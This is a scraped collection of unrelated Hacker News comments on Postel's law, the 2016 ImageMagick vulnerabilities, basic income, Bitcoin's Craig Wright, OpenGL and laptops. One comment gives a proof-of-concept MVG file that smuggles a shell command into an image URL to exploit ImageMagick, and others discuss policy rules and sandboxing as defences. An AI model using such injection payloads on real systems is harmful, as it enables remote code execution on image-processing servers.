skysight-inc/HackerNews huggingface dataset:
I would disagree with that greatly. Postel's law says there's no need to excessively constrain what's considered valid input, not to ignore basic bounds checking and security.

Not following Postel's law would result in brittle system components that break when other parts of the system evolve.
What doesn't? Imagemagick, for me, is the one stop shop for all kind of image filters, resizing, recoding, etc
Would you mind explaining how you think anyone is "intentionally reducing the explicit tangible rewards of personal merit?"
No idea, but I'd assume yes for the time being.

The Graphicsmagick code base includes 3 of the 5 coders that are mentioned (URL, MVG and MSL). 2 of those use LibXML and url.c suspiciously uses LibXML's nanoftp and nanohttp.
The solution I've been experimenting with is to run this sort of code in an isolated, network-stack-free unikernel environment.

Imagine that you've built the ImageMagick library into a unikernel server using a virtio serial port for I/O. When you need to process an image, you boot a VM with this imagemagick kernel, then pipe the image data through its virtual serial port. Data goes in, data comes out...

And if the attacker manages remote code execution inside the VM, who cares? There's nothing in there. There's no network stack, there's no access to storage, there's no access to other processes; all you give this VM is the RAM and serial port the unikernel needs to do its job.
Doom and gloom sells. Sadly.
Install the “unattended-upgrades” package.
If that's offensive, I'm not entirely sure you have been participating in the real world. You'd be offended by damn near everything.
If Dr. Wright is indeed taking us for a ride, he doesn't seem worried that the "real" Satoshi won't come out and expose him as a fraud (like he did a few years ago with Dorian Nakamoto). Although the circumstances were different then, the chances of this happening are absolutely non-zero, and it could happen at any time. Why continue pushing the issue and drawing attention, which only adds to the risk of this happening?

I'm not saying at all that this is indicative that Dr. Wright is Satoshi, but IMO it's definitely interesting.
> each and every contributor making it his/her personal mission as if it was their Klingon honor

> Id love to see Modula-<n>, or Rust, or anything else used. But the logistics of that are daunting.

I'm curious to know why you apparently think the logistics of the first are feasible but the logistics of the latter daunting. To me there's a clear winner in logistical feasibility, and it's definitely not what you're suggesting.
All of the ones that operate in a competitive market.
> Climate change is putting stress on ecosystems that causes them to change more rapidly than they have in the past.

Is it? You keep reading this story and that story about how this crop failed, or changed or whatever, and they always blame climate change.

Then you check and see - oh yah, that also happened in this year and that year.

Climate change is becoming like dark energy - blame absolutely everything you don't understand on it.

Climate change is a very slow, very subtle process that is difficult to even see unless you look very closely. It's not responsible for every single thing that happens differently this year compared to last year.
> But when something we're proposing has once resulted in total catastrophe (complete end of civilization),

In order for it to have resulted in a "complete end of civilization", you'd have to have first actually created a mouse civilization. Which would, actually, have been a more interesting result.

And in order for it to say anything about UBI, it would have to actually be in some way analogous to what UBI provides. Which, it isn't. Even aside from the fact that mice are not humans (they are occasionally good models for humans biochemically, but basically never good models when it comes to politico-economic behavior.)

> If you think this will end crime, then I have a bridge to sell to you.

I don't think it will end crime. I don't think it needs to end crime to be a good thing. (OTOH, it can substantially increase the expected marginal disutility of defection from social norms that results in incarceration -- especially when the perpetrator is relatively poor -- which should reduce the rate of economically-motivated crimes committed by relative sane people, which is a significant chunk of crime, but very far from all of it.)
Yeah, wind break is their only redeeming quality. One of my favorite golf courses here would be a lot less fun without them.
Not true, both use the GD library.
Dream Machine: The mind-expanding world of quantum computing (2011)
To clarify, most proposals I've seen have involved one of the roughly equivalent options of a separate flat tax specifically to fund UBI or an increase of the same amount across all tax brackets.

I have seen some proposals involving replacement of taxation generally with a flat tax coupled with a UBI - sold specifically as being able to still produce an overall progressive curve with the simplicity of a flat tax. While I think those are both positive things, I find this oversold - most of the complexity of taxation has little to do with brackets, and while the resulting curve is progressive it is only a particular family of curves and it's plenty possible that the optimal curves (by whatever metrics we assign) are not in that family.

I have seen some proposals that involve a progressive increase in taxation; these have been (in my recollection) fewer and less detailed than the first category - mostly, I expect, because they are a bit harder to analyze.
>Not following Postel's law would reult in brittle system components that break when other parts of the system evolve.

Being liberal in what you accept is precisely the definition of brittle: if there's an update that reduces the set of representable input data, but you keep the code that processes the user's input into data, then an untested, little-used edge case could invalidate your assumptions about the rest of the system.
That seems backwards. The aggregate preferences and habits of humans should be seen as an incentivizing force for the creations of new technologies, not the other way around.
Well, if he really is, he has something like a billion dollars worth of Bitcoins. There are still all those early blocks that never move.

"Soon, I will provide proof" sounds religious, not factual.
"Eh, I don't think I want a common programming model across CPUs and GPUs. They are fundamentally different machines, and I don't think it makes sense to try to lump them together."

Well, except for APU's, which I think is an unstated target for this discussion. Or on-board graphics chips.

In these cases, there is almost certainly extra work being done, regardless of your programming philosophy.
Xcode 7.3.1 is available on the Mac app store
Win a Free Pass to Gradle Summit in Palo Alto June 23-24th
> 1. Simpler formats for file representation and data interchange. When someone tries to add an extra bitfield option, say no. When they keep trying, get a wooden stick with "no" written on it. Part of the disease of modern computing is bloated specs.

How is creating new image formats and getting the entire Web to adopt them easier than making more secure image decoders?

It's especially irrelevant to this series of vulnerabilities, since they work by getting ImageMagick to parse less popular image formats. Inventing new ones won't do anything to mitigate these flaws.

> if it was going to, it already would have (and this is from someone already writing Rust code).

I don't understand what this is trying to imply.
> After all, the pay for C.E.O.s and other highly paid people counts in those compensation numbers.

Most people consider workers to be rank-and-file employees, not executives. The writer goes on to discount the effect of executive pay on the numbers, but the methodology is far less than scientific, and doesn't really justify the headline.
Those sources of power have a higher marginal cost and are only spun up when the spot price is high enough - in peak demand times.
Free Will might be nothing more than a trick the brain plays on itself
Impossible color
First off, this is a neat project. I don't buy hardware often, but I think your idea creates value here (and could be applied to other industries too).

I think sharing some of your metrics with us should influence the advice. There is a lot of advice in this thread, but I don't know that it's good advice.

- How long are your users staying on the site for a typical session?

- How many (monthly) actively users do you have? Do users return or really just come once?

- Where do your users come from? (traffic source)

- What are the typical price ranges your users search for?

- What kind of parts bring in the most revenue?

- etc.

Essentially I think you should put together the answers to the most common questions an investor would ask for a seed stage pitch deck.
The Physics of Kung Fu Brought to Life Through Motion Capture Visualizations
How do you manage with 16gb?
Very. One of the first was in Scotland. Great to visit as you drive into the mountain and I think one of the Bond files had a scene filmed in it

https://en.wikipedia.org/wiki/Cruachan_Power_Station
Here are things that made learning OpenGL extremely painful for me:

- I came from doing graphics on the CPU where you were often handed a buffer of ARGB pixels and did whatever the heck you wanted to them. You could call OS or library routines to draw simple 2D shapes, text, or images, or you could write directly to the buffer if you were generating a pattern or writing a ray tracer. Understanding textures, framebuffers, 3D polygons etc. was really strange. (What do you mean I have to draw geometry if I just want to display a JPEG? WTF?)

- Understanding the state machine and having to hook up so much crap for simple operations. I can't tell you how many times I wrote, or even copied existing working code into a program, and it resulted in nothing on the screen, and no errors. It was almost always because I either hadn't enabled some state or hadn't bound some thing to some particular location. And there's no way to debug that other than stumbling around and asking vague questions online because you don't have any idea what's going on, unless you're already an expert and know what to look for.

- The complete lack of modern language features in the API, such as using enums instead of #defines. This means you can do stuff like call glBegin(GL_LINE) and if you don't check glGetError() (another stupid pattern!) you'll never realize it's supposed to be glBegin(GL_LINES), but you just won't see anything rendered.

- Having 20 different versions of each function for every combination of data type and size. (e.g. glColor3b, glColor3f, glColor4f, glColor4i, etc., etc.)

The entire API is horrible. I'm sure it's all related to how SGI machines worked in the early 90s and how graphics hardware evolved since then, but it made the whole thing shitty to work with. We have a solution now, which is to use one of the new APIs. Vulkan honestly doesn't look much better. I've only dipped my toes into Metal, but it looks like it has solved some of these issues.

I almost wonder if libraries that are more specialized would be useful? Unity seems as hard to learn as OpenGL (and if you want to understand why things are going wrong, you probably have to understand OpenGL anyway). Something specific to image processing might be easier to understand for people doing that, for example. I'm sure there are other niches that would benefit from libraries that hide the complexity of OpenGL (or whichever library you build it on top of).
Nope, a very quick check shows very little merge activity - the occasional pull request.

While I was at it, 49 commits using "..." as the message, and 8520 commits with absolutely no message at all.
Yeah a huge number of frameworks do, as well as handcoded php sites.

I work at a hosting company, really hoping this PoC is more complex than is implied in the post. So few people actually patch/update their boxes with any degree of regularity.
Facebook rewarded a 10-year-old for finding Instagram security flaw
Counterpoint: Literally the only thing that allows forward compatibility on the web is permissiveness. When a browser sees something like this in CSS,

.foo {
someprop: boring-old-value;
someprop: awesome-new-value;
}

instead of old browsers that don't understand just throwing a fit and dying, they ignore stuff they don't understand and carry on. So we know that a browser which doesn't implement 'someprop: awesome-new-value' will go ahead and read 'someprop: boring-old-value' instead of stopping processing of the CSS, or worse, emitting an error and refusing to render the page altogether. Without this, it would effectively be impossible to ship new web features until old browsers had died off to <epsilon-of-users-we-don't-care-about>.
Well, that's fine for nontechnical users, but nontechnical users aren't buying high-end laptops anyway. High-end ($800+) laptops are bought by developers, sysadmins, or other people who need real native applications, which precludes Chromebooks. So these machines are in a weird market segment where they're too expensive for the vast majority of Chromebook buyers, but not capable enough to steal marketshare from, e.g. Thinkpads and Macbooks.
We need a website like http://plaintextoffenders.com/ but for the ones that have hurtful password rules.
SE/SO is for it's size an amazingly high proformance team. It's rare to hear them say it, in fact, I don't recall ever hearing them say this.

The importantance of the cohesion and trust amoung their team is critical to their deployments. In fact, I would say it's vital to how they're able to get away with minimal amounts of code reviews for example.

It's dangerous to believe this is easy or reproducible. New teams needs extensive controls in place to make sure the quality of the deployments will not negatively impact the group.
This isn't surprising considering the alcohol/drug abuse and crime among homeless people.

The reason why their death rate is higher is their state of mind.

It causes them to not take that crappy job that barely affords them a normal life and can potentially open up new perspectives for the future and instead choose to do nothing and hang out with the wrong people until it is too late and they end up on the street.

I don't see how giving them free money will in any way change their psychological condition. (of course there are always exceptions)
3K display?? If only the keyboard had IBM style page up/page down keys next to the arrows, at this low price I would buy it right now. All I want is something I can use to SSH, with a great screen and keyboard. Bonus points if it has LTE, a stylus, or is between 12 and 9 inches.

I can't shake some learned habits, so I decide on the keyboard first. The closest thing I could find was the latitude 13, but the price is a bit high. For that much, I might as well get a Lenovo Yoga 13 with the AMOLED display when it becomes available.

But then it gets too big. The best laptop is the one that follows me around. At the moment, my eyes are on the Ideapad miix 310. Looks like it has a great keyboard, and LTE. But no 3k. And no 16G option. (and no upgrade possible). 16Gb of RAM would let me do the crazy things I sometimes do on the side...
Actually, thinking about it, North Koreans can at least argue that China will intercede in their political and economic affairs to the extent necessary to keep them subjugated. So I'll give you that.

But what's Brazil's excuse?
Introduction to OnShape
Or... you could just run it as nobody and maybe unshare its network and chroot it and not add the surface area of some virtio driver to your stack?

Like, there's no magic to a unikernel. It's just a process in a jail, unless you're legitimately running it directly on the cpu. Adding more layers of abstraction does not inherently add security.
"he's enjoying dragging it out and watching all these doubters post their reasons why it's not him."

Then, as Satoshi, who is the founder of BitCoin and owner of quite a lot of them, who must be quite intelligent to be able to have created the system in the first place, he must also be quite colossally stupid and bereft of self-interest to not realize that proving the founder of BitCoin deliberately generated that much drama is likely to significantly negatively affect his substantial BitCoin holding by making a lot of people reassess the stability of BitCoin if the creator is suddenly proved to be this drama-prone.

We must also hypothesize a very rapid flip between someone who has successfully hidden the identity for this many years, the very definition of Minimum Drama, suddenly flipping to Maximum Drama.

It's not an impossible theory... which I mean, it's not impossible, and should it prove to be true, I won't apologize for this analysis because I think it'll still hold.... but it's an awfully precise one.
The Bloomberg version of basic income means a minimal payment and an end to most need-based welfare programs. The guy who drinks up his benefits can just die on the street.
Django has DEBUG set to True by default, too.
I agree to the extent that "Rust will save us" is a glib answer, but dismissing it completely is equally silly – safe-by-default is an excellent tool to help prevent many of the common sort of vulnerabilities we see in C code.

I don't really agree with the rest. "Simple file formats" is a theoretically nice idea which is impractical – after all, features are added to file formats for a reason. "Restrictive not permissive" is, as others have pointed out, a divergence from the generally useful Postel's law. Writing a library which cannot handle common problems in file formats – of which there are a huge number, due to sloppy implementation – is a good way to ensure you have developed a library which will be used by few.
With a commit message like "whitespace cleanup" I would expect the diff to look something like that.

I like to have GitHub show the diff with whitespace ignored as it's then easier to verify that no other code changes snuck in to the commit(s).
Google Dataflow “stomps” on Apache Spark in performance tests
You are correct- there are energy storage solutions out there, I should have clarified my statement above. The issue is that they cant store power grid levels of power in an efficient, compact, and scalable manner. This is the rub. Maintaining a giant battery bank or other measures require maintenance and large capital expenditures.
>When you want something from someone - food, medicine, etc. - you're going to have to offer something in return

What if the value of someone's labour is not enough for the things they need to survive? There's no function of the market that ensures it will be.

At some point, you either have to help people out without anything in return, or choose to let them die.
Is it C's fault here though?

Is it not just improper shell escaping? You could do that incorrectly in any language. If you're not quoting | and ` and stuff correctly when you call system() you're doomed no matter the language.
>Poster is crazy to think liberals will EVER support a hugely regressive tax scheme.

I just want to make one glib comment here about liberals and regressive taxes.

The Northeast is generally thought of as the most liberal part of America (aside from coastal California maybe). So why is it that I've seen far more toll roads and bridges there than in any "red state"?

I think some liberals make some good points about regressive taxes, but in practice, it seems like the liberals who actually get to power just love them.
>Not following Postel's law would result in brittle system components that break when other parts of the system evolve.

This depends how much graceful degradation you have available to you. In systems/domains where little is available, following Postel's law can result in silent failures rather than explicit/loud ones. The question isn't whether they break or how brittle they are, but whether you will notice whether they did break. Each system exists within a range on a continuum of how acceptable Postel's law is.
Because all money is the same; basic income dollars are indistinguishable from the rest of the dollars out there.

What would happen (if you funded this by printing money rather than taxation) is that the value of the dollar would fall by (monetary value of basic income payment) / (total number of circulating dollars), creating a redistribution effect similar to that of a taxation scheme, but less planned out.
https://weakdh.org/

http://breachattack.com/ (an attack against https, ironically not even bothering to serve over https)

https://freakattack.com/

https://factorable.net/

http://badlock.org/

https://drownattack.com/

https://poodle.io/

http://backronym.fail/

https://gotofail.com/
Shouldn't there also be the HTTP coder included also? <policy domain="coder" rights="none" pattern="HTTP" />

Also - would an example of using a HTTPS coder be:

convert https://example.com/rose.jpg ~/rose.png
I'd imagine the closest modern analogue to Bell Labs would be Google X. (Or whatever they're calling it now after the Alphabet reorg.) They have a lot of the same hallmarks - huge company in a backbone industry that can afford to pay top dollar for the smartest folks they can find. From what I understand about their internal cultures, it sounds like there's plenty of similarities there as well - loose oversight, just the directive to make Cool Stuff.
I believe Pinterest or that site where you can sell your knitted socks did as well, don't remember.
Has any browser implementor ever given it a serious try?
That was a big factor here in New Zealand. I referred 10 people for $110 NZD in credit.
If you don't like bitfields, you'd better stay away from H264/5.
Google, Fiat ink deal to make 100 self-driving minivans
> That MBP has physical 227 DPI. What's yours? (If it is 2560x1440 at 24", it has only 122 DPI).

It is a 14 inch WQHD (2560 x 1440) display (Lenovo Thinkpad X1 Yoga)
A lot is changing since GitLab is rapidly developing. If you have more churn with the same amount of developers that might lead to increased security issues. We've been quickly adding paid developers over the last year, so I'm not sure what that ratio did. Also, some of the churn is due to refactorings, although these are risky in themselves over the long run they increase code quality.
Hopefully it will convince developers to not trust the client and actually confirm the user uploaded a .jpg, .png or .gif. But I guess that isn’t nearly as useful for us when we want a reason why we need to rewrite everything. :)
Good luck with selling something to people that they don't want.
Ellen Pao Has a New Site to Push Greater Diversity in Tech
PoC: save as file.mvg and then run convert file.mvg o.png

viewbox 0 0 1 1
image over 0,0 0,0 'https://test/" && touch /tmp/hacked && echo "1'
Maybe he lost\destroyed it? (:
If you want to pay publishers, why not just give them the impressions, instead of install sketchy ad blockers, have them handle your money, and then hope that they distribute it to publishers on your behalf.

The article says ad block will tell publishers how much they COULD have made - what happens to that money?
http://energy.gov/savings/residential-renewable-energy-tax-c...
10,000 isn't basic income its like slightly more than welfare for a basic income to be meaningful in a city like los angeles you're talking at least 70k if a person has even any hope of having a roommate situation. The other alternative is to give everybody everything they need in life at no cost, but 10k in los angeles is a joke, if they tax it you're talking still talking about having a choice between food and a youth hostel bed on that low an income.
Speaking with my DevOps hat I cannot "relax" with MongoDB in the backend ;) Have you done ANY heavy loadtesting with this infrastructure (which is cool but does it scale?) and what is your result in comparison to Wordpress and static content?

How likely is it possible to switch to another database like PostgreSQL?